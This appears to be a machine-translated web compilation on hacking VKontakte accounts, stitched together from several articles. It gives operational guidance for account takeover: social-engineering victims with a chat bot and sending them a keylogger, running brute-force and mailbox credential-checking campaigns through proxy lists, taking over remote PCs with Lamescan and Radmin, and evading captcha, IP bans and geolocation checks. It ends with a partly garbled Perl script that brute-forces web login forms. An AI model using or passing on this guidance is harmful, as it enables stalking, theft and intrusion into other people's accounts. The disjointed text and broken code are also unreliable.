Yes, it exists. Generally speaking, there are many such programs.
And we are against such programs.
But since there is some demand for such programs, let’s look at which of them are “relatively” legal, and which ones are better not to use at all.
Initially, from the very creation of VKontakte, there were, for example, programs such as brute force applications.
Such programs are engaged in searching all the passwords that exist. For this, both conventional step-by-step algorithms and so-called algorithms are used. Rainbow tables in which the values are scattered randomly according to the best distribution - according to the authors of the latest programs, random distribution can reduce the time of searching for a password, because the search will not start from the very beginning, but randomly, and on average the path to the desired letter will be shorter.
We do not recommend using brute force programs at all. There are a variety of programs for hacking VKontakte, and therefore it is better not to use crude “breaking into” a page; besides, the user himself may suspect something and delete the page, create another one, or change its address. And besides, The VK administration will block you by IP and may begin legal proceedings for attacking login servers and violating their stability, as well as attempting to penetrate someone else’s correspondence.
So, programs for hacking VKontakte using brute force are illegal. What others are there?
In general, you will always have time to download the VKontakte hacking program for free. There really are a lot of them. Let's look at what legal ways there are to penetrate someone else's page.
First of all, these are applications. Applications have a wealth of information about the user. Typically, users do not read the prompts that are presented before launching the application. And there the application is given full access to personal data, the list of friends, the wall, and so on. Personal messages, of course, remain unknown to the application, but Knowing the colossal amount of personal information previously hidden behind privacy settings, you can carry out scams in the field of social engineering and engage in “luring” information about the user from his closest friends.
However, this is not entirely legal - problems may arise due to the fact that if the user guesses that it was the application that “leaked” the data, then he, of course, will file a complaint against it, and the application will be blocked. In general, the method is good, but quickly falls under suspicion. Yes and making an application is still a hassle.
Go ahead.
Where can I normally download a program for hacking VKontakte pages that will be legal?
First of all, let's be clear - we are only satisfied with social engineering. Basically, if used properly, social engineering will help us extract all the data we need from a user without hacking their page. Although you can also get full access to the page.
So, what social programs are there for hacking VKontakte that you can download for free?
First of all, it is worth noting the Brobot bot.
Using it for hacking, of course, is a rather strange method of controlling this program, but in principle, The functionality there is necessary and sufficient for hacking.
We can “pit” the bot against the user himself, against his friends, using the capabilities of adding friends and personal correspondence. Let's connect bot III for conversations, setting it to the most friendly tone. And after that, you can already reap the benefits by learning a lot of interesting things about the user in the history of correspondence that Brobot saved.
After this you can send the user, for example, keylogger and catch what he writes to other users– in fact, after this you won’t have to download special programs for hacking VKontakte. It will be enough just to monitor the user. However, you can also do without a keylogger!
How can VKontakte hacking programs like Brobot help us?
First of all, let's define what Brobot does not hack pages. All our activities are absolutely legal, no one can sue us, no one can block us - everything is absolutely fair (to the extent that we need it).
We simply, in fact, create several pages (It is better to immediately buy unlimited, this is guaranteed to increase the volume of information extracted), and from them we already communicate with the user, which allows us to find out his attitude towards a variety of personalities, as well as get a portrait of himself, his friends, his relatives, and so on - and this is, in essence, what we need. And in the future you can perform even more interesting and complex actions, and here everything depends on your desires and imagination.
The Brobot program will become your good assistant, and the Brobot support team, available almost around the clock, will answer all your technical questions.
Brut VK is software that automatically selects passwords for any VKontakte accounts. The full name of such applications is Bruteforce. They are designed to hack the profiles of a particular user on a social network site. There are quite a few such programs, but most are absolutely ineffective. However, with the right utility you will get any hidden information. The functionality here is quite simple and hacking is easy.
What is Brute "VK"
Brute is a special software that selects passwords for logins, email, and so on by typing various combinations of letters and numbers. If you set a complex password, the program will take a long time to guess it and may ultimately fail to complete the task. The result of a brute force is largely influenced by how powerful the technique used for hacking is and how stable the Internet connection is. The hacking process can last a few minutes or a whole day. If you set a password of high complexity, for example: RKGJH4hKn2, then special software may not be able to crack it at all.
What is a base
For Bruteforce to work, it must have data; If she doesn't have a choice of codes, she won't do anything. A base is a set of different code combinations and logins. If the list is huge, then sooner or later you will hack your account using the application. Combinations come in the smallest length of three letters and numbers. The longest length reaches 16 characters. This depends on the software version. The selection of the code begins with the letter “A” and ends with the last letter in the alphabet. Letters can be Russian or English. This is the main useful information about the database.
Who needs it
All users have their own reasons for hacking other people's VK profiles. Some people do this for fun, others want to read the correspondence. Also, some people want to send invalid messages. One thing to keep in mind is that Brut is illegal. You will always have to answer for theft. It's better not to do this. Any hacked account can be easily restored. Especially if real information was provided during its registration. It’s more difficult with profiles created quickly and containing false data, but hackers usually don’t need them.
They steal information from a page on the VK social network only if it is of interest to someone. Hackers usually sell stolen accounts to customers in large quantities. They can then resell them again to the owners if there is important information there. Hackers always try to protect themselves and use a proxy server. With its help, no one will notice them, because the IP address will be unknown.
If you want to protect yourself from attackers, make your password long and complex. Do not use your own VK account on a network where other people have access to the computer. Also, you should not save your password in the browser; it can be easily intercepted. If you received an SMS on your phone about logging into your VK profile, but you did not do this, change your password immediately. Try to do this as quickly as possible. This way you will protect yourself from losing important personal data.
Brute force (derived from the English phrase: brute force) is a type of hacker attack - a method of hacking accounts in computer systems, payment/banking services and websites through the automated selection of password and login combinations.
Brute force is based on the mathematical method of the same name (brute force), in which the correct solution - a finite number or symbolic combination - is found by searching through various options. In fact, each value from a given set of potential answers (solutions) is checked for correctness.
How brute force works
A hacker writes a special program for guessing passwords or uses a ready-made solution from his colleagues. It can be targeted at a specific email service, website, social network (i.e., it is intended for hacking a specific resource). Next, preparations for hacking are carried out. It consists of the following steps:
- Preparation of a proxy list
In order to hide the true IP address of the computer from which the attack will be carried out, and to prevent blocking from the site where the account needs to be hacked, an Internet connection is configured through a proxy server.
The search for proxy addresses/ports is carried out in the Proxy Grabber. This utility independently retrieves all the data for connecting to intermediary servers from sites that provide proxies (they are specified in the list). In other words, a proxy is collected.
The resulting database is saved in a separate text file. And then all the server addresses contained in it are checked for functionality in the proxy checker. Quite often, programs designed for automated proxy mining combine the functions of both a grabber and a checker.
As a result, you get a ready-made proxy list in the form of a list of IP/port, saved in a txt file. (You will need it when setting up the brute force program).
- Search for bases for Brute
You need to connect a dictionary to brute force - a certain set of combinations of passwords and logins - which it will substitute in the login form. It, like the proxy list, has the form of a list in a regular text file (.txt). Dictionaries, also known as databases, are distributed through hacker forums, websites and file hosting services. More experienced “craftsmen” create them on their own and provide them to everyone for a fee. The larger the base (number of combinations, logins, accounts), the better (for the hacker) - the greater the likelihood of hacking success.
- Setting up brute force
The proxy list is loaded; the selection program will automatically change the proxy so that the web server does not detect the attack and, accordingly, the source (host) of the attack.
A dictionary of password/login combinations is connected. The number of threads is set - how many combinations brute force will check at the same time. A powerful computer with high Internet speed can confidently handle 120-200 streams (this is the optimal value). The speed of the brute directly depends on this setting. For example, if you set only 10 threads, the selection will be very slow.
- Running brute force
The program records successful hacking attempts: it saves the linked accounts (password/login) to a file. The duration of the selection procedure ranges from several hours to several days. However, it is not always effective due to the high cryptographic strength of the login data or the implementation of other protective measures by the attacker.
Types of brute force
Personal hacking
Hunting for a specific account - on a social network, on an email service, etc. Through or in the process of virtual communication, the attacker extracts from the victim a login to access a website. Then he cracks the password using brute force methods: he uses brute force to indicate the address of the web resource and the obtained login, and connects the dictionary.
The chances of such a hack are small, for example, compared to the same XSS attack. It can be successful if the account owner used a password of 6-7 characters with a simple symbol combination. Otherwise, “solving” more stable variants of 12, 15, 20 letters, numbers and special characters will take years - tens and hundreds of years, based on the calculations of the mathematical search formula.
Brut/check
A database with logins/passwords from mailboxes of one mail service (for example, mail.ru) or different ones is connected to brute force. And a proxy list - to mask the node (since email web services quickly detect an attack based on multiple requests from one IP address).
The brute's options indicate a list of keywords (usually site names) - landmarks by which he will search for login information on hacked mailboxes (for example: steampowered, worldoftanks, 4game, VK). Or a specific Internet resource.
When registering in an online game, social network or forum, a user, as expected, indicates his email (mailbox). The web service sends a message to the specified address with login information and a link to confirm registration. It is these letters that brute force is looking for in order to extract logins and passwords from them.
Click “START” and the cracking program begins brute force. It operates according to the following algorithm:
- Loads the login/password for the email from the database.
- Checks access, or “checks” (automatically logs in): if it is possible to log into the account, it adds one in the good column (this means another work email has been found) and begins to view it (see the following points); if there is no access, it is listed as bad.
- In all “beeps” (open emails), brute force scans letters according to the request specified by the hacker - that is, it looks for logins/passwords to the specified sites and payment systems.
- When the required data is found, it copies it and writes it into a separate file.
Thus, a massive “hijacking” of accounts occurs – from tens to hundreds. The attacker disposes of the obtained “trophies” at his own discretion - sale, exchange, data collection, theft of money.
Remote computer hacking
Brute force, in conjunction with other hacker utilities, is used to gain remote access to a password-protected victim’s PC via an Internet channel.
This type of attack consists of the following stages:
- A search is performed for IP networks in which the attack on user computers will be carried out. Address ranges are taken from special databases or through special programs, such as IP Geo. In it you can select IP networks for a specific district, region, and even city.
- Selected IP ranges and selection dictionaries are set in the settings of the Lamescan brute force (or its analogue), intended for remote brute force login/password. Once launched, Lamescan does the following:
- makes a connection to each IP from a given range;
- after establishing a connection, it tries to connect to the host (PC) via port 4899 (but there may be other options);
- if the port is open: tries to gain access to the system, when prompted for a password, performs guessing; if successful, it saves the IP address of the host (computer) and login information in its database.
- The hacker launches the Radmin utility, designed to manage remote PCs. Sets the victim’s network coordinates (IP, login and password) and gains full control over the system - the desktop (displayed visually on the display of the attacker’s computer), file directories, settings.
Programs for Brutus
HASHCAT
For 2020, one of the most powerful programs for brute. Uses more than 200 brute force algorithms. Widely used for guessing WPA/WPA2 passwords, as well as passwords for MS Office, PDF, 7-Zip, RAR, TrueCrypt documents.
Classic brute force, one of the very first. However, it does not lose its relevance and competes with new solutions. It has a fast brute force algorithm and supports all major Internet protocols - TCP/IP, POP3, HTTP, etc. It can forge cookies. Brutes the dictionary and generates passwords independently.
Powerful brute checker. Equipped with an expanded arsenal of functions for working with databases (checking, sorting by domain). Supports various types of proxies and checks their functionality. Scans letters in mailboxes based on settings such as date, keyword, address, unread messages. Can download letters from Mail.ru and Yandex.
Brute force - brute force, brute force hacking
In the article "" it was said that hacking VK using brute force (program) is impossible.
This is not entirely true, there are still loopholes...
Below is a working script, but first...
At the bottom of the article is a free program for generating a brute dictionary and a listing of “top sucker passwords”
I make a reservation in advance that we are talking about a classic “brute force” without any PBKDF2 algorithms, without parsing sha hashing, because at the everyday level this is an overwhelming task.
There are many programs circulating on the Internet “for hacking VK using brute force (brute force)”
Which one to choose? Which one will help (without harming me)?
- None
Each VK account requires a personal approach and template programs from the network are all crap, scam, bullshit.
Now you will understand why. Mathematical part briefly.
The minimum length of a VK password is 6 characters.
The password must contain:
numbers(0-9 - 10 options),
letters(a-z - 26 in Latin),
capital letters(A-Z - also 26)
Total for each symbol - 10+26+26=62 (!) options, so the number of combinations for:
6 character password - 56,800,235,584 (56.8 billion)
7 character password - 3,521,614,606,208 (3.5 trillion)
8 character password - 218,340,105,584,896 (218 trillion)
9-character password -13 537 086 546 263 600 (HZ as it is called))))
We don’t know the length of the password, so we’ll have to brute force a range of at least 6-8 characters
Total: 6+7+8 characters = 221,918,520,426,688 (222 trillion) options
Let's say you have a fairly good computer, but the question arises - how many requests to the VK server can it make?
What is the search speed of a home computer?
Let's do the math. To do this, open the command line (Start - standard - Command Prompt or launch the cmd.exe process)
Enter the command and get the server response
“Response from .....time 134ms” (this is for me, your time may differ)
Ping time is the time it takes for the signal to travel from our machine to the server and back
There are 1000 milliseconds (ms) in one second, so
Brute speed from your machine (requests/sec) will be = 1000/response time
In my case, 1000/134ms = 7.4 requests (passwords) per second
How long will it take to search passwords for VK?
Let me remind you that we are trying out 221,918,520,426,688 (222 trillion) password options.
Therefore, to find out how much we will crack the VK password by brute force, we divide the amount by the speed, i.e.
221918520426688 passwords / 7.4 passwords per second = 29737081737176sec = 495618028953 min = 8260300483 hours = 344179187 days = 942957 years
Conclusion:a real program for hacking VK could find a password by brute force in 94 thousand years.
Question: What about the videos on YouTube in which miracle programs brute-force a VK page in a few minutes/hours?
I answer: This is a scam created with the goal of infecting your computer to steal your own data. No more no less.
You can significantly speed up the search process!
To do this you need:
1. Increase computing power. For example, infect 1,000,000 other people’s computers and simultaneously brute force VK from all of them (that’s funny)
2. Shorten the Brute dictionary to, for example, a couple of thousand (based on the principle of social engineering)
How to make a Brute dictionary?
1. Using pens in the notepad program (notepad.exe)
2. Prog “brutus generator” (link at the bottom of the article)
We fill this brute-dictionary with real options.
Real ones are those that are at least somehow connected with the person being hacked:
-phones(him, his relatives, friends)
Example- numbers with +7s, 8s, without 8s - rarely seen
- dates of birth(him, his relatives, loved ones)
Example- (same date) 010118, 01012018, 20180101, 180101 - comes across often
- Names of loved ones
Example- SashaMaria, MariaIvanova, SaNoMaIv - comes across average
Site name (or last name) on a different layout
Example, if you type the word “vkontakte” on the Russian keyboard, you will get “mlshtefleu” - such a scheme very often comes across on all sites.
- Lokhov's list of passwords for Brutus(list of the most common passwords on the Internet - link at the end of the article)
How long does it take to write a dictionary? Well, not really - half an hour is enough. Who said it would be easy?))
Let's say we have a created brute dictionary and a working program for selecting a VK password (or manually entering it using a dictionary).
One important problem arises - the server security system.
Actually, its hindrance lies in the fact that if the requests are too frequent, the server stupidly blocks (temporarily) your IP. In addition, if you work with VK through a standard input form (HTML\FORM), then after the 3rd unsuccessful attempt, VK will ask you to enter a captcha.
In the old version of VK, you could simply switch to the mobile version - m.vk.com, but now there is no mobile version as such - in 2016 they made a single adaptive design.
How to bypass VKontakte captcha?
VK requires entering a captcha after 3 unsuccessful attempts (rebooting F5 does not help), but how does it know that it's you Are you trying to log in multiple times?
By IP
- by cookies, cache and JavaScript
There are no problems with cookies, cache and JavaScript - you can simply disable them in your browser settings.
IP can be changed by installing a program for changing IP - there is nothing complicated about it, there are plenty of them on the Internet (Google can help)
You can use the TOR browser (for those who don’t know, this is a browser for anonymously surfing the network, it also changes IP numbers with each new session, a useful thing especially for those who surf or work in SAR)
But all attempts at brute force are almost completely nullified by GEOLOCATION.
The VK server remembers where (geographically) the last login was made.
And if your IP is from another locality, then (possibly) the following message will pop up:
"You are trying to log in under the name of Ivan Ivanov from an unusual place."
To confirm that you really are the owner of the page, please provide all the missing digits of the phone number to which the page is linked.
Script for brute web forms (such as a program for hacking VK)
Important!
On the VK server there is a script that monitors the frequency of sending packets, i.e. if you hammer at a speed of N times/sec, you will automatically be sent to the IP ban list.
VK also uses GEO tracking.
Without a dynamic IP, you shouldn’t try to brute, a VPN can help.
Personally, I consider brute-forcing VK passwords to be unpromising, but for connoisseurs I’ll post an old Perl script borrowed from 5p4x2knet a.k.a. Apocalyptic's and a little fixed.
The script works using the POST method only in two parameters - login And password.
If the login is known (for example, a phone number), then simply fill in the corresponding fields with the value without referring to the dictionary.
Hidden fields - captcha, the script will not transmit images, hide the source of the requests (yourself) as described above.
Here we will need the sane Brute dictionary that we compiled at the beginning of the article. (let's call it, for example, brutal.txt )
We also need a file from which our program will receive information.
The program will brute force all scripts specified in this file.( info.txt). If there is only one script, then you can replace
Naturally, the file for recording the results ( result.txt)
So,
{
#connect the object
$usagent = LWP::UserAgent
#open the file with information (if we can’t open it, then exit);
# dump the file into the @infa array and close it. (if there is only one script, then you can immediately specify it)
open(INFA, ";
close(INFA);
#open the Brute dictionary
open(BRUT, ";
close(BRUT);
#opening a file with results (appends to the end).
open(RESULT, ">>$ARGV");
#beginning of the cycle
foreach $name (@infa)
{
#separate URL, login, variables and error information
($url, $login, $log_vr, $pwd_vr, $failed) = split(//, $name);
#show URL
print "$url...n";
#starting another cycle
foreach $brut (@brut)
{
#kill spaces and line breaks
$pss =~ s/ //;
$pss =~ s/n//;
#connect a new object
$usagent = LWP::UserAgent->new();
#creating requests.
$req = HTTP::Request->new(POST=>$url);
$req->content_type("application/x-www-form-urlencoded");
$req->content("$log_vr=$login&$pwd_vr=$pss");
#and its sending
$result = $usagent -> request($req);
#storing the results to a variable
$res = $result->content;
#if it doesn't work, an error message is generated
if($res!~ /$failed/i)
{
#output message with password; record in results;
print "brutword found. It isn$pssnn";
print RESULT "URL: $urlnLOGIN: $loginnBRUT: $pssnn";
#otherwise continued selection
last;
}
}
}
#closing the result.txt file
close(RESULT);
Loading...
